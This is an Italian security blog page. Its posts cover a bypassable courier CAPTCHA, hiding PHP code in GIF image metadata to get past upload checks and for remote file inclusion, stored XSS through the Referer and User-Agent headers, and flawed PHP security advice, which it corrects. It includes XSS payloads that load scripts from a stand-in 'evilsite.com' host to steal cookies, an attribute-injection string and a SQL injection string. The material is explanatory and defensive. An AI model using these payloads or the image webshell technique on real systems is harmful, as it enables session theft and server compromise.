CAPTCHA che si risolvono da soli

CAPTCHA antani
Si discute da tempo se sia sempre utile utilizzare i CAPTCHA. Usabilità pari a zero risolta con lettori audio di testi e debolezza a OCR avanzati e manodopera a costi ridicoli risolta con tecniche che rincorrono sempre gli attaccanti.

C’è un Corriere Espresso Italiano che per effettuare il tracciamento della spedizione chiede, oltre al solito numero di tracking, di compilare un form con le lettere che appaiono dentro un CAPTCHA.
La cosa simpatica è che l’url dell’immagine che viene richiamata attraverso il codice HTML punta ad una Servlet che disegna, attraverso il metodo ActionTracking.doGetCaptcha, le lettere del CAPTCHA grazie ad un paramentro presente nella query string:

<img src=”/ResourceServlet.html?execute2=ActionTracking.doGetCaptcha&ses_id=…&text_immagine=HNHILE” border=”0″>

ActionTracking.doGetCaptcha scrive le lettere ricevute in GET nella sessione corrente per poi poter controllare, nel passo successivo, la correttezza delle lettere inserite nel campo di testo. In questo modo, per automatizzare il processo di controllo di stato della spedizione, è possibile leggere direttamente nel codice HTML della prima pagina il parametro che viene utilizzato per richiamare il metodo ActionTracking.doGetCaptcha. In più è possibile forzare il salvataggio di lettere arbitrarie, all’interno della sessione, impostando il paramentro text_immagine a piacere.

Il CAPTCHA sopra è un tributo alle parole no-sense utilizzate nella trilogia “Amici miei”.

 

Complimenti a Drupal Day Italia

Drupal Day Italia

Gli impegni non mi hanno permesso di parlarne prima. DrupalDay Italia è stata la prima giornata dedicata interamente a Drupal in Italia.

Complimenti veramente a tutti gli organizzatori del Drupal Day Italia. Ottima l’organizzazione e la partecipazione del pubblico. Gli interventi sono stati di ottimi livelli anche se il mal tempo si è messo contro.

Una esperienza positiva, da ripetere!

Gli interventi dovrebbero essere pubblicati nei prossimi giorni direttamente sul sito web ufficiale.

Aggiornamento: sono state pubblicate le fotografie.

 

Nascondere codice PHP all’interno di immagini

Molti servizi di upload “casalingo” utilizzano solo il mime type resituito dalla funzione getimagesize() per controllare se un file è tra quelli consentiti in upload. In base a questo concetto si è arrivati alla conclusione che iniettando all’interno di un’immagine GIF codice PHP e rinominando poi il file in .php si riesce comunque ad effettuare l’upload perchè il mime type rimane inalterato in image/gif.
In questo modo una volta salvato il file sul server, senza averne cambiato l’estensione e potendolo raggiungere direttamente, sarà possibile eseguire il codice inserito all’interno dello stesso.

Ovviamente la cosa si è diffusa in rete e c’è chi ha scritto pure un documento sull’argomento, non mi sono soffermato più di tanto sugli esempi ma devo dire che può essere utile per capire quali sono i problemi derivanti da un sistema di upload pubblico.

Nell’esempio di RSnake il codice PHP viene messo in parti più o meno casuali dell’immagine GIF e vengono usati i commenti “/*” e “*/” perchè ci sono stati problemi di parsing con i dati binari che compongono l’immagine stessa. Personalmente ho creato una semplice immagine GIF di 1×1 pixel, in formato GIF89a il quale permette l’uso dei metadati, e ho salvato dentro ad essa un commento che altro non era che del codice PHP:Hide PHP code into GIF image
A questo punto ho rinominato il file in .php ed ho provato a far effettuare il parsing a mod_php sia in versione 4 che 5 e non c’è stato nessun problema. L’unico inconveniente, se così si vuole chiamare è che il parser riconosce solo il codice all’interno di “<?php ?>” quindi tutti i caratteri ASCII che compongono l’immagine saranno mandati direttamente in output:

PHP code into GIF image

Se il file GIF rinominato .php viene eseguito senza problemi dal parser PHP vuol dire che se cerco di includere l’immagine originale, con il commento che contiene codice PHP, tramite include() o require() questo verrà eseguito: si possono, quindi, usare file di immagine (GIF, PNG e JPEG) per eseguire codice tramite RFI (Remote File Inclusion). A questo punto un qualsiasi servizio di image hosting come ImageShack, Flickr, Zooomr e tanti altri può trasformarsi inconsapevolmente in un hoster di codice per RFI.
Come già detto, per ospitare codice PHP in una immagine, è possibile utilizzare, oltre al formato GIF, anche JPEG e PNG. Per farlo sarà necessario solamente utilizzare i metadati previsti dai due formati.

 

Questione di Referer e User-Agent

Al momento di una richiesta HTTP (più nello specifico HTTP/1.1) il browser invia al Web server di destinazione varie informazioni tramite gli header tra cui “Referer” e “User-agent” che servono, rispettivamente, per dichiarare quale URI ha portato a quella specifica risorsa e per dichiarare il nome e la versione del browser Web utilizzato.
Questo genere di dettagli è ad esempio molto utilizzato per gestire campagne di marketing mirato al visitatore. Molti software per statistiche Web collezionano l’header “Referer” per stilare classifiche sui siti Web che “inviano” più visitatori.
Ecco una tipica richiesta HTTP/1.1:

GET http://www.ansa.it/ HTTP/1.1
Host:www.ansa.it
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language:it,it-it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding:gzip,deflate
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:300
Proxy-Connection:keep-alive
Referer:http://www.google.it/search?hl=it&q=ansa&btnG=Cerca+con+Google&meta=

Essendo header generati dal browser o più in generale dall’utente essi possono essere modificati a piacimento.
Se vi fosse un software di statistiche che colleziona “User-Agent” e “Referer” salvandoli in un database sarebbe semplice creare XSS (Cross-site scripting) permanenti. Solitamente le statistiche vengono consultate in aree ad accesso limitato, in una applicazione che non effettua i dovuti controlli e codifiche un Referer di questo tipo potrebbe risultare veramente pericoloso:

http://www.anybadsite.com/?”><script/src=”http://evilsite.com/xss.js”></script><style=”

In questo modo un attacker potrebbe eseguire qualsiasi istruzione JS all’interno dell’area riservata dove vengono consultate le statistiche senza che la vittima se ne accorga. Gli utilizzi più interessanti vanno dal furto del token di autenticazione contenuto nel cookie all’Intranet Hacking.
Oltre all’utilizzo di XSS diretti, l’header “Referer” potrebbe essere modificato ad arte per dirottare la vittima su un qualsiasi sito esterno, vulnerabile ad XSS:

http://www.victimbank.com/home.asp?fuzzy=mybankxyxyxyx&page=<script/src=http://evilsite.com/stealcookie.js></script>

Questi sono solo esempi basati sull’header “Referer” ma tutto è riproducibile su “User-Agent” e tutti quegli header che una applicazione Web utilizza ma non valida in maniera opportuna.

Ho effettuato dei test navigando con un “User-Agent” modificato ad arte e mi sono accorto come molte volte il codice JS iniettato dentro ad esso venga eseguito. Ciò vuol dire che circa il 70% delle applicazioni che ne fanno uso prendono per buono direttamente l’user-input.

I webmaster e i webdeveloper dovrebbero prendere coscienza che tutto l’user-input come cookie, user-agent, referer, Accept-Charset, Accept-Language, ecc.. dovrebbe essere sempre validato e codificato nel migliore dei modi.

 

Consigli di programmazione (in)sicura

Stavo facendo un giro su Digg nella sezione sicurezza e mi sono imbattuto in una segnalazione di un articolo sulla programmazione sicura con PHP di Jeff Skrysak.

L’articolo affronta punto per punto le principali problematiche di sicurezza che si presentano al momento della scrittura di una Web Application. Il fatto è che alcuni dei consigli sono sbagliati.

  • Handle errors gracefully
    Place the ampersat symbol (@) in front of many of your PHP function calls. If they fail, the ampersand will stop from from showing that failure in the browser window. This is very useful when making database calls but your database is down, or the SQL statement returns an error. Such messages would only give feedback to intruders, or look unprofessional to regular users.
  • Strip backslashes, HTML, SQL and PHP tags from any form field data
    If someone maliciously tries to send HTML, SQL or PHP code through a text field entry not meant to expect it, they can disrupt or break your code. Use the following PHP functions to strip out such text: strip_tags(), str_replace() and stripslashes().
    Example: $login = @strip_tags($login); Example: $login = @stripslashes($login);
  • Add “LIMIT 1″ to the end of your SQL statements
    That will limit the number of results to just 1. If someone successfully hijacks your site, and is able to run a SQL statement that returns data, or deletes it, placing “LIMIT 1″ at the end of any SQL string will help limit the amount of data they are able to see or damage.
    Example: SELECT * FROM useraccount WHERE Login=’$login’ AND Password=’$encrypted’ LIMIT 1
  • Use $_POST not $_REQUEST
    If your HTML form uses POST to send the data to the login script, then make sure your login script gets the input data using $_POST, and not $_REQUEST. The latter would allow someone to pass data via GET, on the end of the URL string.

Gli errori ritornati dalle funzioni non andrebbero nascosti all’utente tramite “@” ma attraverso le varie funzioni di PHP: in primis set_error_handler() potendo così anche salvare tutti gli errori su un database o su un file. In linea generale il metodo “security through obscurity” non è ottimo, ma nelle Web Application potrebbe aiutare a nascondere ad un attaccante dettagli necessari come la posizione sul file system dei file, la versione del linguaggio usato, il tipo di database utilizzato, ecc…

Le funzioni strip_tags e stripslashes suggerite non sono sufficenti ad evitare l’iniezione di codice Javascript.
Se vi fosse una pagina che riceve dati da un form in questo modo:
//...
$url = striptags(stripslashes($_POST['url']));
echo '<a href="'.$url.'">Url</a>';
//...

passando tramite la variabile “url”, inviata via metodo POST, una stringa uguale a questa è possibile creare un XSS:

" onmouseover=”myJSfunc();

Un metodo più efficace contro l’iniezione di codice JS è questo:
$url = htmlentities(strip_tags($_POST['url']),ENT_QUOTES);
così facendo tutti i tag HTML verranno cancellati e tutti caratteri speciali verranno convertiti nelle rispettive entità HTML. Ovviamente tali funzioni dovrebbero essere sempre usate come ultima spiaggia dopo aver validato la stringa con espressioni regolari o con la nuova funzione filter_input di PHP 5.
Nel caso di dati da inserire in un DataBase ci viene incontro una ottima funzione nativa di PHP: {mysql,mysqli,ps,sqlite}_escape_string. Una ottima contromusira alle SQL Injection la forniscono anche le “prepared statements” disponibili con PHP 5 e Zend Framework.
L’aggiunta dell’istruzione “LIMIT 1″ alla fine di una query non rende immune ad attacchi un’applicazione che non effettua i dovuti controlli sui dati ricevuti. Se vi fosse una pagina che riceve dati da un form in questo modo:
//...
$id = $_POST['id'];
$query = '<SELECT * FROM users WHERE id='.$_POST['id'].' LIMIT 1';
//...

passando tramite la variabile “id”, inviata via metodo POST, una stringa uguale a questa sarebbe possibile creare una SQL Injection bypassando anche la direttiva “LIMIT 1″:

1 OR 1=1; –

Per concludere, l’utilizzo del metodo POST al posto di GET o del più generale REQUEST aiuta certo ad evitare XSS di tipo 1 ma non rende più difficile, ad un attaccante, manipolare i paramentri inviati alla Web Application.